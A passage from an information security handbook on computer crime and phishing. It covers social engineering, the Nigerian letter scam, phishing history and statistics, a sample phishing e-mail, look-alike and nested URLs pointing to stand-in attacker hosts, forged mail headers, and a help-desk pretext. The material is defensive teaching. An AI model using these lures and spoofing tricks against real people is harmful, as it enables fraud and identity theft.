mailing with such a hyperlink may never reach a large population of computers that contain eligible cookies, but it does not need to. Only a few successful attacks will accomplish the attacker’s goal of raising the selling price of the item.
Social Engineering Social engineering can be thought of as hacking people rather than computers and networks or, more often, as hacking people as a means to hacking computers and networks. When legendary hacker Kevin Mitnik wanted to hack telephone systems, he did not start with buffer overflows, format string vulnerabilities, cross-site scripting, or session riding. Instead, he did something much more effective; he called the help desk. Mitnik used social engineering to gain the confidence of engineers and business people at telecoms and their equipment vendors, and he acquired the technical details necessary to hack not only telephone switches but also the very electronic surveillance systems that law enforcement were using to track his activities. Successful social engineering takes advantage of ignorance, fear, greed, ego, or other human attributes to manipulate behavior for information gathering or other goals. In spite of the widespread nature of network, operating system, and application technical vulnerabilities, social engineering is more prevalent today than ever before, although most applications of social engineering are less dramatic than the example above. Note also that many of the technical attacks described earlier contain within them one or more social engineering components, such as persuading the user to click a hyperlink to facilitate the attack. The effectiveness of social engineering can be demonstrated by this example of a technique commonly used by hackers and professional penetration testers. Call a company’s help desk (around 5:00 p.m. works best), and state that you are the president (or vice president) of the company and you are trying to give a presentation. Request and insist that your password be reset immediately. Although this example may seem absurd, it is all the more absurd in that it frequently works. Many organizations have insufficient safeguards to prevent a social engineering attack as obvious as this one. Two common social engineering attacks on the Internet are phishing and something now known as the Nigerian letter scam. These became quite popular when, shortly after the invention of spam, computer criminals faced the challenge of how to make spam pay. Phishing Phishing can be thought of as a form of identity theft and is usually performed via e-mail. In a typical phishing scam, an e-mail is crafted to appear as though it came from an Internet retailer. It asks recipients to provide missing account information, apply for a new service, or in some other way provide information. The e-mail itself may appear to have been sent from the correct e-mail address and be quite convincing visually, including logos, artwork, and fonts lifted directly from the retailer’s real Web page. Although Internet retailers are a favorite, the e-mail may appear to come from a bank, a credit card company, or other financial entity. Mortgage, student loan, and debt consolidation firms have all been used. Nigerian Letter Scam The Nigerian letter scam can loosely be classified as confidence fraud but often involves wire fraud and monetary damages, as well. The scam has several different versions, but generally the attack occurs in two stages. Stage one begins with an e-mail from someone identifying himself as an attorney, a banker, or some other professional. The first e-mail almost never asks for money or for personal information. Instead, it informs the recipient that an inheritance awaits from the recipient’s long-lost relative (usually in Nigeria) who has just died in a plane crash, oil fire, or some other tragic way. If the recipient responds to the e-mail, the scam proceeds to stage two, where the recipient is told that fees must be paid, bank account details provided, or accounts established in foreign banks to facilitate transferring the money that the recipient has inherited. These e-mail messages often use compassionate rhetoric and emotion to make them sound more convincing. They may also contain hyperlinks to news stories about real disasters where many deaths occurred to validate the claims of the e-mail. In some variations of this
Computer Crime
557
scam, the e-mails are supposedly from figures in the entertainment industry, famous humanitarians, or figures in world politics such as a recent example where the e-mail appeared to come from Charles Taylor, the former leader of Liberia. It is all too easy to ask ourselves who would fall for something like this and dismiss social engineering as a gimmick attack. This is not the case. These scams are effective for two reasons. First, attacks like these only have to be successful a few times to be economical for the computer criminal. A successful social engineering attack like the Nigerian letter scam will typically result in a $2000 to $5000 monetary loss for each victim. The perpetrator does not care that they had to send 10 million e-mail messages to find one or two victims. They made spam pay. The second reason why social engineering is effective is that human behavior is something difficult to upgrade. An offer like these may actually seem plausible if a potential victim is in a difficult economic predicament.
Tactics of the Security Professional Why does computer crime continue to thrive? One answer might be because of our two oldest friends, ignorance and apathy. While this is partially true, it is not a complete answer. New technical threats and other exploits are found almost daily. Even when networks are defended, systems are patched and hardened, and applications are well coded, new exploits can cause tremendous damage before vendors can create appropriate software patches and before scanners can detect them. What is even more alarming is the number of exploits that are being found in applications (as opposed to network devices and operating systems), because this can be the most difficult area of technology to assess properly. Security practitioners are left with basic principles to guide their efforts: • • • •
Comprehensive Security Comprehensive security must be practiced in today’s environments to control the spread of computer crime. Corporate policies, operating procedures, and decisions must reflect the results of proper security risk analysis and regulatory requirements. A top-down approach with properly constructed policies and operating procedures will make specific security measures easier to implement and maintain.
Layered Technical Safeguards Layered technical safeguards are also essential. Technical safeguards must be present in all levels of the information technology environment: networks, systems, and applications. Technical safeguards (such as network firewalls) must be used properly at all entry points to the network and must be configured to restrict network access to only those systems and services necessary for the organization’s business relationships. Individual computer systems and applications must have properly configured (and up-todate) access controls.
Active Vulnerability Management Vulnerability management must also be practiced in all levels of the IT environment. Although technical vulnerabilities are more and more numerous, the overwhelming majority can be mitigated with software patches to network devices, operating systems, and applications. Network and system administrators must maintain consistent and up-to-date patch levels on all of their equipment. Although this task can be expensive in administrator time, if performed manually, the software patches themselves are usually free from most vendors. Many software vendors (including Microsoft) have also implemented automated
558
Information Security Management Handbook
or semiautomated patching systems to keep individual systems or entire environments up to date. Although vulnerability management may be a thankless, boring, and unglamorous endeavor, it should be recognized as an ongoing cost of operating an information technology environment, not something left for the administrator’s spare time. Recall that the Slammer worm was one of the most damaging worms of all time, even though it lacked a destructive payload. It is worth mentioning that the specific buffer-overflow vulnerability that allowed the Slammer worm to spread had been published and patched by Microsoft, a full six months before the worm was launched.
Strong Security Awareness Awareness, more than any other single factor, constitutes the most effective measure available to the practitioner. Security practitioners must make others more aware of security issues and must become more aware themselves. Today’s computer criminal is more sophisticated and better armed than ever before, and if this were not enough computer crimes are growing more numerous each year. Computer crime strikes at every level of our technology infrastructures, our business and service infrastructures, and even in our personal economics and communications. Security practitioners should adopt a structured approach to pervasive security awareness, encompassing the organization’s senior executives, management, employees, partners, and customers. Senior management must understand that security is a businesswide issue and not a compartmentalized project. Management (in all departments) must understand that every employee (especially analysts, developers, administrators, support staff, and others) has a role in implementing proper security. Employees must be educated to understand the security threats relevant to their specific jobs functions and how corporate policies affect these functions. Customers must also be made aware of security risks, especially identity theft. At minimum, customers of online businesses should be sent periodic e-mails that warn them never to disclose their account numbers, login credentials, or other personal data in response to an e-mail. Phishing scams would be virtually stopped cold if online businesses took the initiative to educate their customers about the threat.
Conclusion This chapter was intended to offer the security practitioner some practical information about specific computer crimes that occur today but also to provide a new lens on the subject as a whole: Computer crime is a new and ever-evolving manifestation of fundamentally old ideas. What is really happening in computer crime? The same sort of activities that were happening before there were computers — fraud, theft, destruction, disruption, and more — all of which occurred before computers became a ubiquitous part of our lives. The successful security practitioner will adapt established security concepts and principles to meet new, ever-evolving situations and challenges in computer crime.
46 Phishing: A New Twist to an Old Game Stephen D. Fried
Introduction Today’s media, as well as many security professionals, often create the impression that identity theft is a modern creation, a result of the marriage between large-scale access to instantaneous information and an age-old desire of certain members of society to acquire knowledge and wealth that are not rightfully theirs. Although the creation and mass adoption of inexpensive computers, networks, and online data repositories in the last 30 years has, perhaps, accelerated the growth of this area of crime, identity theft is a problem that has plagued humans since the earliest of times.1 Successful identity theft requires two components. The first involves the subversion of applicable technology. In this case, the term “technology” does not necessarily refer to computers and networks but rather refers to any method of capturing, storing, copying, or transmitting information. In ancient days, technology may have referred to the King’s official seal or official signature. The ability to capture or duplicate either one gave an identity thief enormous potential power. More recently, before online credit verification became the norm, the theft of carbon paper sheets from credit card receipts was a highly successful method of gaining access to a victim’s identification and credit credentials. By obtaining and controlling the technological component of a person’s identity, the thief is halfway down the road to using that identity for nefarious purposes. A potential information thief must also compromise the human element that governs most (if not all) information transactions. Although it may not appear to be the case in modern society, at the extreme endpoints of all transactions are human beings wishing to exchange something of value, whether it is financial reward or important information. Given this fact, it reasonably follows that an effective way to forward the theft of one’s identity is to subvert the human element at either end of the communications chain. When combined with the previously mentioned subversion of applicable technology, this can be a powerful weapon for the information thief. The latest weapon in the history of identity theft, and one that has received increasing security industry scrutiny and hype, is the act of tricking an unsuspecting user into revealing personal information through the distribution of mass e-mail. This latest scam has been dubbed phishing and has proven to be quite effective as a means to advance identity theft on a large scale. It attacks both the technology used to conduct business on the Internet and flaws in the human element utilizing online transactions. Because of the attention surrounding this latest practice and the related commercial and consumer panic surrounding these attacks, this chapter examines the modern practice of phishing in all its aspects. The chaper explores the evolution of phishing, its implementation, and its effect on modern Internet usage and discusses ways to identify and prevent phishing attacks.
559
560
Information Security Management Handbook
Phishing Defined Although the term “phishing” has been used a great deal in the media lately, it is best to begin this discussion with a firm definition of the term and its usage. For the purposes of this chapter, phishing is defined as: The act of sending to a user an e-mail falsely claiming to be an established legitimate enterprise in an attempt to trick the user into surrendering personal or private information. The e-mail typically directs the user to visit a Web site where the user is asked to update personal information, such as passwords and credit card, Social Security, and bank account numbers, that the legitimate organization already has. The Web site, however, is bogus and set up only to steal the user’s information.2
To further clarify the definition, phishing in today’s common usage involves not just the delivery of a single e-mail to a single user but the distribution of thousands of e-mails to thousands of users. The modern act of phishing, like its correctly spelled synonym, is an act perpetrated by an attacker (the “phisher”) who casts a wide net (large-scale e-mail distribution) to see how many victims (or “phish”) can be caught in that net. Although phishing as a technological threat is a relatively recent phenomenon, it is, in fact, merely the latest ploy used to advance the act of identity theft, which has a much longer history in both technological and nontechnological forms. At its core, phishing is a technically advanced form of the classic con game: Trick a victim into giving up something of value, then use that for personal gain.
A Brief History of Phishing The spelling of the term “phishing” comes from the early annals of computer hacking, when the misuse of the phone system for fun or profit was called “phreaking.” Phone hackers came to be known as “phreakers” or “phreaks” in some circles. The first known reference to the term “phishing” as an activity came in 1996, when a user on the alt.2600 news group posted the following message: It used to be that you could make a fake account on AOL so long as you had a credit card generator. However, AOL became smart. Now they verify every card with a bank after it is typed in. Does anyone know of a way to get an account other than phishing? (mk590, “AOL for free?” alt.2600, January 28, 1996) Hacked accounts became known as “phish” and were used as currency in the hacking underground. They would be traded for other phish (from a desirable or valuable service) or in exchange for stolen or unlicensed software. The popular and trade media picked up on the term around 1997. By 2002, the use (and practice) had become common. Early phishing attempts showed all the indications of unsophisticated amateurs trying to develop a new technology. Phishing e-mails riddled with spelling and grammar mistakes indicated a large presence of non-U.S. nationals for whom English was not a primary language. Despite their apparent lack of sophistication, however, these early attempts were extremely successful. With success came more attention, and the second generation of phishers entered the field. These new entrants sharpened their skills and increased the level of sophistication. They cleaned up the basic grammar and formatting issues that gave their predecessors away and introduced elements that are now common: use of graphics to enhance the authenticity of the e-mail, exploitation of HTML features (and security vulnerabilities) to advance their goals, and spamming and targeted-marketing techniques to increase the potential for a large “catch.” By 2004, the level of sophistication and profit potential of phishing rose such that it attracted a third generation of exploiters. Organized crime has embraced phishing and funded much of the most recent developments in the art, with Russian and Eastern European syndicates leading the way in perpetuating these crimes. The attacks are more sophisticated than ever. Rather than relying on unsophisticated universal resource locater (URL) links and hastily crafted Web pages, today’s phishing artists use complex attacks such as URL obfuscation, man-in-the-middle attacks, cross-site scripting, and exploitation of client vulnerabilities. Phishing is now also an international phenomenon. Phishing attacks have targeted most major banking organizations in the United States, the United Kingdom, and Australia. According
Phishing: A New Twist to an Old Game
561
to the Anti-Phishing Working Group, the United States hosts the largest percentage of phishing sites (by far), followed by China and Korea.3
Lies, Darned Lies, and Phishing Statistics The increased acceptance of online commerce and, in particular, online banking has boosted the dramatic rise in phishing. Consumer product companies and financial institutions have been feverishly working on improving the online access capabilities of their wares and services. Financial services companies have been particularly eager to encourage customers to sign up for online access to their accounts, which provides customers with a convenient and easy way to access their money while at the same time lowering the company’s transaction costs and enhancing customer loyalty. Consumers and client businesses, for their part, have welcomed the trend and have begun using Internet-enabled account access as a comparison point and service differentiator when shopping for banks. According to the Tower Group, as of late 2004 over 30 percent of all securities were traded over the Internet, more than 33 million households were taking advantage of online banking services, and almost 10% of all credit card purchases were made online.4 Other research suggests that the numbers might vary somewhat (higher or lower) than those of the Tower Group, but all agree on one theme: Online commerce is big and getting bigger. Moreover, when it comes to the size of the phishing phenomenon, most researchers agree that the numbers are likewise growing. The results of various studies on the subject do not always agree, however. A Gartner survey in April 2004 indicated that 41 percent of survey respondents had received, or believed they had received, a phishing e-mail.5 Another study sponsored by TRUSTe in September 2004 showed that “76 percent of online consumers are experiencing an increase in spoofing and phishing incidents and that 35 percent receive fake e-mails at least once a week.”6 A study by the Federal Deposit Insurance Corporation (FDIC) showed that, of the 2 million U.S. adult Internet users that experienced some form of identity theft, over half believed they received a phishing e-mail.7 Some of the figures regarding phishing are staggering. In January 2005, 2560 phishing sites were reported, representing a 28% increase in the last six months of 2004. In January 2005 alone, nearly 64 product brands were the targets of phishing attacks, 80% of them from the financial services industry. The average time a phishing site was online before being shut down was a little over five days, but the longest window was 31 days.8 The statistical and anecdotal survey results all seem to lead to the conclusion that, as is the case with online commerce, phishing is also big and getting bigger; nevertheless, when it comes to the financial impact of phishing, the research that has been conducted leads to widely differing conclusions. Gartner research in June 2004 estimated that the cost to banks and credit card issuers from phishing attacks and related identity theft losses has been US$2.4 billion,9 or roughly US$1200 per user. By contrast, the previously mentioned TRUSTe study estimated the total monetary loss to be only US$500 million, or US$115 per user. In addition, a recent report by the Information Security Forum puts the loss per personal account at around $200.10 Why the large contrast in numbers? In many ways, this is merely an extension of the well-known problem of obtaining accurate statistics on security incidents and their impact. The companies involved do not want to publicly admit their security or financial failures, and the victims keep silent out of embarrassment. Alternatively, companies may elect to disclose such information only to trusted parties (such as a government agency) and not to consulting or research organizations (or vice versa), thus causing a disparity between the various research studies. So, is phishing truly a financial crisis worthy of all the attention it is getting? The real numbers may never be truly accurate; however, to paraphrase Leonard Henry Courtney,10 when it comes to finding accurate metrics on the effects of phishing, there are “lies, [darned] lies, and statistics.” While the numbers appear to be large and growing, when compared to other types of fraudulent crime (for example, credit card or telephone toll fraud), the phishing numbers pale by comparison. To the targeted institutions and the people who are directly affected, however, the numbers are real and worthy of definitive action. Most security professionals agree that the trend is both alarming and moving most definitely upward. The degree to which the available statistics can be used to bolster or refute a particular viewpoint on the growth of phishing is therefore a matter of how such statistics are interpreted and applied.
562
Information Security Management Handbook
How Phishing Works The remarkable thing about phishing (and the aspect that makes it so successful) is the relative simplicity with which it operates. At its core, phishing is fundamentally a social engineering attack,11 preying on the victim’s naiveté to click on an altered URL or enter personal information into a Web site. Although it is true that recent phishing attacks are becoming increasingly sophisticated in their execution and maliciousness, underneath any overlaid technology is an attempt to fool a user into giving out information he normally would not. This section describes the basic steps most phishing attacks use. The first step involves the phisher choosing a target organization to hide behind and against whom to perform the attack. How that organization is selected will vary from attack to attack, but the basic criteria are that the user must know the organization and the user most likely has an existing electronic relationship with the organization. For these reasons, the most often-selected organizations are financial institutions (with their current push to increase their customers’ use of electronic banking), large online retailers such as Amazon or eBay, or Internet Service Providers (ISPs) such as EarthLink or America Online. After selecting an organization, the phisher must construct a Web site that looks and feels like the target organization’s Web site. It may be a direct copy of the organization’s official site (copied through the use of any number of available Web crawling and site-cloning tools), or it may simply include an adequate supply of the layout symbols, logos, and corporate colors of the target organization to be convincingly real to the phish. Whichever path the phisher chooses, the result will be a convincing Web site purporting to belong to the target organization. The next step is for the phisher to cast the net for the phish. The traditional method for this is for the phisher to compile a list of target phish to receive the e-mail; however, the most recent phishing attacks are much more sophisticated, forgoing this manual (and limited) step in favor of more modern targeting. Many modern phishing attacks will use sophisticated spamming techniques to address the e-mail to a large audience. Typically, a phisher will use one of the Internet’s ever-present bot nets (networks of computers infected with Trojan horse programs) to distribute e-mails to the phish. Although this increases the likelihood that the e-mail will be sent to phish who do not have a relationship with the target organization (thus ignoring the message), the economics of large-scale spam mean that the phisher can send hundreds of thousands of e-mails for a relatively low cost. In an attempt to increase the number of phish who will actually take the bait, the most sophisticated attacks will use modern targeted-marketing methods to narrow the list of phish to those who will most likely respond to a communication from the target organization. Next, the phisher must create an e-mail that will entice the phish into going to the phisher’s Web site. The most common ploy is to tell users that there is a problem with their accounts or that they need to act immediately in order to continue to use the organization’s services. A basic common phishing letter is shown below: Dear BigBank customer, In order to comply with new federal regulations designed to protect consumers from fraudulent use of their accounts, BigBank has recently performed a review of all customer information. During that review, we noticed several pieces of information missing from your records. In order to ensure proper processing of your financial transactions, please visit our Web site at www.bigbank.com/updatecustomer. There you can update our records with your most recent information. To avoid any disruption of service to your account, please update this information immediately. We appreciate your assistance in this matter. Sincerely, BigBank
Phishing: A New Twist to an Old Game
563
The e-mail may be enhanced with graphics, colors associated with the target organization, and the company’s logo. All increase the apparent legitimacy of the e-mail and fool the phish into believing the e-mail really came from the organization. When a phishing e-mail is launched, 50,000 to 1 million e-mails (or more) may be sent to potential phish. Because of the large volumes of e-mail, most of these are caught in spam filters set up by Internet Service Providers and individual organizations, resulting in a small percentage of the original e-mail sent reaching actual consumers. Estimates on the delivery rate vary, but even if only 0.1 percent of the original 1 million e-mails reaches live consumers, that translates into 1000 potential victims. Of these, most recipients will either ignore it (believing it to be harmless spam) or act on it. This latter group can be split into three subgroups: (1) those who believe it is legitimate and respond to it, (2) those who will recognize it as a phishing attack and ignore it, and (3) those who will recognize it as a phishing attack and report it to the target organization. The first subgroup represents the “catch of the day” for the phishers; however, of this group, only 5 percent will click on the link in the e-mail, and only 1 to 2 percent will actually lose any money.10 The second subgroup poses no real threat to the phishers. Although they recognize it as a phishing attempt, they choose just to ignore and delete the e-mail. It is the third subgroup that poses the greatest threat to the phishers. It is generally a race to see how many phish (the first group) can be caught in the net before the scam is halted, which occurs when people in the third subgroup notify the target organization, which then works to get the site shut down, or the legitimate owner of the collecting site notices it has been taken over by phishers and strengthens the defenses of its site. The phish who do respond to the e-mail will most likely be told that their relationship with the target organization is under review or that there is some problem with their information on file with the organization. They will be presented with an innocent-looking URL link that they can click to correct the problem. When they click on the link they are directed to the false Web site set up by the phisher where they are asked to enter their personal information. Because the false Web site looks almost exactly like the real one, very few of the phish will be able to tell the difference and will believe they are giving their personal information to the actual organization. While all of this is going on, however, other events are also likely to be taking place. The large number of e-mails sent out in the name of the target organization will most likely be noticed by that organization, either because the organization has been contacted in relation to the “spam” it appears to be sending or a concerned customer has contacted the organization to notify it that they received a suspicious-looking email and are questioning its validity. The organization may also receive a high volume of bounced e-mail replies due to the large number of phishing e-mails sent to invalid e-mail addresses. When the attack is recognized, many organizations (particularly those that have had previous phishing attacks targeted at them) will mobilize into action. They will investigate the e-mails to see if the origin can be determined. If it can, they will use any contacts they have (or can establish) with the offending site’s ISP to attempt to get the site taken down. They may also elect to contact law enforcement officials to report the incident and request their assistance. Because of the rise in phishing attacks, most financial institutions and law enforcement agencies are getting much better at quickly identifying attacks and working cooperatively with the international Internet and hosting community to shut down offending sites before much damage can be done. If the organization reacts quickly enough they can get the offending site taken down before any customers fall for the con and disclose personal information. If they do not, some of the phish will have wandered into the net, gotten caught, and given up their valuable personal information, which the phisher can then use to perform identity theft, gain access to credit or services, or sell to another party for profit.
Variations on a Theme The process described in the last section shows the most basic steps involved in a phishing attack; however, as with all Internet attacks, several variations to the basic steps can be used to increase the sophistication of the attack or further obfuscate the origin of the attack. As users become more aware of phishing risks,
564
Information Security Management Handbook
some phishers have devised methods of forcing a phish to the false Web site without requiring that they click on a specific link in the e-mail. These attackers use HTML-based e-mail that includes a hidden script. When the HTML is processed by the phish’s e-mail program, that hidden script is executed so the phish’s computer redirects a connection to the target organization’s Web site to that of the phisher. Even if the user later enters the organization’s real Web site address directly into the browser, the alteration performed by the script will instead open up a connection to the fraudulent site. In some cases, the goal of the attack is not simply to gather personal information from the users on a bogus Web site but rather to gather information or perform other malicious acts over the long term. In these cases, users may be directed to a Web site that has been falsified to look like the target organization’s site or they may be enticed there by the promise of exciting content (gambling or adult content, for example). Instead of asking for personal information from a user, though, the site downloads a keystroke logger, worm, or Trojan horse program to the phish’s computer.12 The logger or Trojan horse can then gather up the phish’s IDs and passwords from multiple sites and send them back to the phisher later. The Trojan can also display pop-ups asking for personal information on specifically targeted Web sites. If a virus or worm is installed, it can also spread to other computers and gather similar information from multiple computers. Trojans and worms also find their way onto users’ computers through all the traditional methods, including operating system and browser vulnerabilities and peer-to-peer file services. Because they are not readily apparent to the user, Trojan-based phishing attacks have the potential to steal much more sensitive user information over a longer period of time than a standard e-mail-based attack. Some phishers do not want to go through the trouble of duplicating an organization’s Web site. One way to make the process of collecting personal information much more efficient is to simply break into the target organization’s real Web site through the exploitation of any security holes that may be present on that site. When phishers get inside the site, they can set up sniffers or scripts to capture user information as it is entered into the site. The phishers can then just wait for users to log into the site or, if they are impatient, they can send out an e-mail to users of the site (whose addresses may be obtained by perusing the site’s user database), inviting them to log into the organization’s Web site. This reduces the number of e-mails sent to nonaffiliated users and lessens the likelihood that the organization will be reported for sending out spam. A common way to keep the phish from recognizing that a con is underway is to use a URL that closely resembles that of the target organization. Using special characters in place of standard alphabetic characters in the URL can do this. For example, www.bankportal.com can be changed to www.bankporta|.com. Note that in the second URL the vertical bar character (“|”) was used in place of the “l.” Another example would be www.sh0pping.com, where the number zero was used instead of the letter “o.” Phishers can also nest URL links inside one another to further disguise the true address of a site. An example of such a URL might be: www.aol.com/account/update/[email protected]/stealinfo.html Most users, should they bother to look at the URL at all, will see the beginning of the URL: www.aol.com/ account/update/getupdated. The unsophisticated (or unobservant) phish will stop there, believing that the link is legitimate; however, when the link is properly processed, it will actually send the user to www.attacker.com. Because much phishing e-mail is sent in HTML format, the phisher can use various HTML formatting techniques to mask the real destination of the link contained in the e-mail. Using the sample phishing e-mail from BigBank provided earlier, the HTML code for a legitimate link in the e-mail would be: … visit our Web site at www.bigbank.com/ updatecustomer. There … The text inside the bracket indicates the link where customers will be sent if they click on the link. The text between the and symbols is what the customer sees when the HTML has been processed and displayed by the browser. However, the phisher can use this to mask the true origin by changing the HTML to the following:
Phishing: A New Twist to an Old Game
565
… visit our Web site at www.bigbank.com/updatecustomer. There… Recipients will still see the link as www.bigbank.com/updatecustomer, but if they click on the link they will be directed to www.evilattacker.com/grabsensitivedata. Phishers often use flaws found in the Simple Mail Transfer Protocol (SMTP), which is used to deliver most e-mail on the Internet, to mask the true origins of an attack. It is a simple matter to falsify the “Mail From:” header in an outgoing e-mail in order to make the e-mail appear as if it came from the target organization. Of course, this means that if the phish decides to reply to the e-mail it may be returned with an error message, thus tipping off the phish that something is wrong. To counter this problem, the phisher can falsify the “RCPT To:” field in the e-mail, substituting an e-mail address under the phisher’s control, so any replies to the e-mail will be directed to a working mailbox (most likely a hijacked account to prevent tracing ownership back to the phisher). Another common obfuscation technique is to establish so-called “cousin” domains in the name of the phisher that look very much like the target organization’s domain. Examples of this would include myebay.com or amazonaccountupdate.com. These sites are not registered to the target organizations (eBay and Amazon, respectively), but to the unwary end user they look like they are. Like all computer attacks that have evolved over time, from the earliest buffer overflows to today’s most sophisticated viruses and worms, the sophistication of phishing attacks has steadily risen while the requisite skill set has decreased. In the early days (actually, just a couple of years ago), creating and executing a phishing attack took a fair amount of skill. Recently, however, the emergence of phishing “starter kits” has enabled more amateurs to enter the field and made it much easier to carry out phishing attacks. In addition, because of the widespread distribution properties that phishing attacks have, they have become a common carrier mechanism for worms, viruses, spyware, and keystroke loggers.
The Effects of Phishing While most stories and articles about phishing focus on the impact to consumers and cases of financial loss and identity theft, phishing actually has two classes of victims. Both the consumer and the targeted organization share the burden of a successful phishing attack. For the consumer, the potential for direct financial loss may be frightening enough. Given the proper information, the phisher may use the consumer’s bank account numbers, credit card information, and home and family data (addresses, birth dates, relatives’ names, and Social Security numbers) to establish credit in the consumer’s name, purchase goods and services, or perform illegal acts posing as the consumer. Although U.S. law limits the consumer’s liability for unauthorized credit card use, no such limits exist for general bank account misuse. In addition, the consumer’s credit rating, reputation, and financial stability may be seriously jeopardized by the fraudulent use of information gained through a successful phishing attack. Add to that the time, effort, and cost required by the victims to correct their financial and credit information as well as the emotional toll on the victims as their good names are potentially ruined. Financial institutions and other commercial organizations feel the effects on a much larger scale. Call center volume may rise dramatically as customers call an organization to inform them of the e-mail and to question its validity. The organization will need to mobilize its anti-phishing resources, taking them away from other important tasks. Efforts then focus on identifying the source of the e-mail and shutting down the offending server. If the organization’s own systems were compromised as part of the attack, they may require reconfiguration or reloading, making them unavailable for processing customer transactions and potentially resulting in loss of revenue. Should the attack succeed in catching some phish, the organization must take steps to clean up and reinforce its defenses. Customers of the organization may have to be notified that their account information has been (or has potentially been) compromised. This may be done as a matter of law (for example, compliance with the California Security Breach Information Act13) or as proactive recognition of responsibility on the part of the organization. In extreme cases, the organization may decide to reset the passwords
566
Information Security Management Handbook
of all its users. This can be a costly course of action, as it is bound to increase support costs due to customers needing assistance with the change, in addition to the cost of notifying users. This solution also has the unattractive quality of placing a burden or inconvenience on end customers. Finally, the potential loss in customer confidence can have a highly negative impact. If several repeat and severe events happen to the same organization, customers who value the security and integrity of their information may choose to take their business elsewhere. As of early 2005, despite the fact that several major banks and consumer product organizations have been the victims of repeated phishing attacks, large-scale customer defection has not yet occurred. Only time will tell if organizations can keep this threat from becoming a reality.
Underlying Problems It would be easy to write off phishing as simply the latest version of the age-old con game or the newest fad du jour in Internet attacks. Such an approach minimizes some of the underlying issues that make phishing such a dangerous proposition for companies and consumers alike. An examination of these underlying issues reveals a large number of individual weaknesses, all contributing to the overall problem. The first underlying problem is that, for the most part, commercial organizations do not own or maintain their customers’ computers. This leads to a wide diversity in configuration and maintenance styles amongst the masses, ranging from the extremely well configured (typically the technically savvy or extremely paranoid users) to the hopelessly vulnerable (e.g., the typical Internet user who knows little and couldn’t care less about the inner workings of a computer). If companies could assume full ownership of and responsibility for the maintenance of their customers’ equipment, they could ensure that it was well maintained, up to date with the latest security patches, and configured with the appropriate settings and technology controls to recognize and resist such attacks. Alas, this is not the case, and the burden of maintaining tight security has shifted from the organization (who has the resources and expertise) to the consumer (who may have neither). Another underlying cause is the anonymity of Internet transactions. A bank’s customers do not need to walk into a branch to perform a deposit or withdrawal in person, nor do they have to do their banking only from Monday to Friday, 9:00 a.m. to 5:00 p.m. Banking (indeed, most Internet-based commerce) can be done 24 hours a day, every day of the year. Because of the lack of a personal relationship between the consumer and the seller, identity impersonation is easier, and direct observation of customers by the company’s personnel is eliminated. This anonymity and the lack of proximity also work for the phisher. The phisher does not have to be located close to the phish. Phishers have no storefront to assemble or infrastructure to present to the phish other than the appearance of a recognized institution. The barriers to entry in the phishing game are extremely low. Scammers as wide-ranging as individual con artists to large international organized crime rings have flocked to phishing because, to use the oftmisquoted Willie Sutton, “That’s where the money is.”14 All it takes to start a basic phishing attack is a Web site (obtainable for less than US$10015), access to an e-mail server (preferably someone else’s) or anonymous remailer, some HTML coding skill (or the use of any of a dozen popular Web page building programs), and a list of potential e-mail addresses gained through Internet purchases, UseNet postings, mailing lists, or Web pages.16 The use of advanced techniques, such as implanting keystroke logging software on a target organization’s server or implanting a worm or virus in the e-mail, will, of course, raise the cost. Additionally, the risk of discovery and capture is relatively low. If done properly, none of the links (the e-mail or Web server) can be traced to the actual phisher. Moreover, depending on how and where the information or money is transferred from the phish to the phisher, detection, apprehension, and prosecution can be extremely difficult. When low cost of entry is combined with low risk of detection, it results in a winning combination for exploitation. The final contributor to the problem, and the one that is most affected by the human element, is the fact that most people are simply too trusting of the world around them and too willing to accept that everything they see on their computer screen is as it appears to be. This trust, of course, is the basis for all social engineering attacks, and phishers exploit it as much as possible. Most people like to be (and be seen as) helpful and, when asked with just the right degree of authority and sincerity, will do almost
Phishing: A New Twist to an Old Game
567
FIGURE 46.1 Sample phishing e-mail 1.
anything to appear helpful and cooperative. Even the act of disclosing highly personal information can be justified by the victim who believes the cause is right (for example, helping “your bank” correct its account errors).
Phishing Detection Sadly, the first line of defense in phishing detection is the end user who receives a phishing e-mail. Because of the lack of sophistication of many Internet users, many of these schemes go undetected. This section provides a couple of examples of phishing attacks that have occurred. In each example, indications that should lead to suspicion are explored. Although this is not intended as an exhaustive survey of all possible phishing techniques, it does highlight some of those that are common. Figure 46.1 shows an actual example of one such e-mail sent by a phisher impersonating a large ISP. Starting from the top of the e-mail, the use of an altered “From” address can be seen. Instead of [email protected], the phisher used staff@earth|ink.net as the sending e-mail address, substituting the vertical bar for the letter “l”. The e-mail was sent to a valid EarthLink account holder, indicating that the phisher somehow obtained a list of valid e-mail accounts at the ISP or used a name-generating program to come up with potential account names. As previously mentioned, early phishing e-mails suffered from a distinct lack of grammatical accuracy. In this example, some of the errors are obvious. The use of the double greeting (“Hello, Dear Member,”) is one tip-off. Grammatically, “current stored information” and “… this maybe due to …” show that English was not a primary language for this writer. No self-respecting public relations department would have allowed this e-mail to go out under this company’s logo, nor would they have allowed the writer to publicly admit to any “payment processing failure” or “billing system overload.” These examples clearly indicate that, at a minimum, the author did not have the company’s official approval to send this e-mail and, most likely, it was not sent from the company at all. Moving down the e-mail a bit more, we see the URL where the phish is supposed to click to correct his information. The URL looks valid enough, but looking closer at the underlying HTML behind this e-mail17 reveals that the link actually points to the following address: http://www.earthlink.net|aw-confirmation|[email protected]/images/firstpage1.html Although the URL does contain www.earthlink.net, it is merely used as a diversionary tactic. The browser will parse the URL and see that it points to a server at www.badguy.com. Thus, it is clear that any users who click on this link to update their account information will not be going anywhere near an official EarthLink server.
568
Information Security Management Handbook
FIGURE 46.2 Sample phishing e-mail 2.
In order to add an air of legitimacy to the effort, the e-mail includes an encouraging reminder to the phish: “EarthLink never asks about bank accounting number, bank routing number, or bank checking number, But you should enter card pin number for bank call verification and recharge your account fast.” Aside from the additional grammatical and idiomatic problems, it includes an interesting psychological twist that is common to many phishing scams. It alludes to the privacy concerns of many Internet customers and attempts to show that EarthLink is concerned about them as well. Because it is a common perception among the public that criminals would never call attention to themselves or their actions, this act of calling attention to the problems of sending sensitive information over the Internet subtly causes the user to believe this could not be from someone performing such an act. Another example shows the type of information that phishers attempt to get through their e-mails. The e-mail shown in Figure 46.2 purports to come from the online auction site eBay. This example shows some of the classic phishing “window dressing” already discussed, including the use of the eBay logo, the mention of eBay’s attempt to protect the customer, and even the use of copyright and trademark notices at the bottom of the e-mail. When the phish clicks on the complicated link provided in the e-mail, however, the Web page shown in Figure 46.3 is displayed. The first thing to note about this page is the address of the Web page in the browser’s URL bar at the top of the screen. This page shows an IP address rather than a Domain Name System (DNS) name. This is a major tip-off that the site may not be legitimate. In order for consumers to be able to easily find and identify their sites, as well as enforce their 